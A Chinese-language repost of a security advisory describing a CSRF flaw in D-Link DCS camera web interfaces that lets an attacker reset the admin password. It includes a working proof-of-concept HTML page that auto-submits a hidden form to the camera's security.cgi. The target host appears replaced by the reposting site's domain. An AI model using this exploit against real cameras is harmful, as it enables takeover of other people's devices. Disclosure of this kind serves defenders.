标题：Dlink DCS series CSRF Change Admin Password 影响版本: DCS-900, DCS-2000, DCS-5300 and possibly other. 作者: rigan - imrigan@gmail.com -- 问题描述: Dlink DCS是一个相机系列 这些相机用了一个含csrf缺陷的web接口 这个缺点可导致修改管理账号密码 -- 测试: < html > <body onload="javascript:document.forms[0].submit()"> <form method="POST" name="form0" action="http://www.2cto.com /setup/security.cgi"> <input type="hidden" name="rootpass" value="your_pass"/> <input type="hidden" name="confirm" value="your_pass"/> </form> </body> </html> www.2cto.com提供修复 过滤和验证
查看更多关于Dlink DCS series CSRF修改管理员密码 - 网站安全 - 自的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://haodehen.cn/did12443